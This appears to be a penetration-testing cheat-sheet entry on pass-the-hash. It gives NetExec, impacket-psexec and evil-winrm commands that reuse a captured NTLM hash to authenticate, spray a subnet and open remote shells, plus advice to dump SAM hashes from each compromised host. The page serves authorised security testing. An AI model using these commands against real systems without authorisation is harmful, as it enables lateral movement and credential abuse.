pentesting, updated
Pass-the-hash
Authenticate using a captured NTLM hash directly, without ever recovering the plaintext password.
Goal
Move laterally to another host using an NTLM hash dumped from one compromised machine, against any host where the same credential is valid.
How to test
nxc smb 10.10.10.0/24 -u administrator -H <NTLM hash> # validate the hash across a subnet: see [NetExec](/docs/pentest-cheatsheets/tools/network/netexec)
impacket-psexec -hashes :<NTLM hash> administrator@10.10.10.6 # see [Impacket](/docs/pentest-cheatsheets/tools/network/impacket)
evil-winrm -i 10.10.10.6 -u administrator -H <NTLM hash> # interactive shell over WinRM
What to look for
The same local administrator hash valid across many hosts (common when a golden image was never varied post-deployment), or a captured domain admin hash.
Notes
A classic sign of password reuse: dump local SAM hashes from every host you land on and spray them with NetExec before moving on.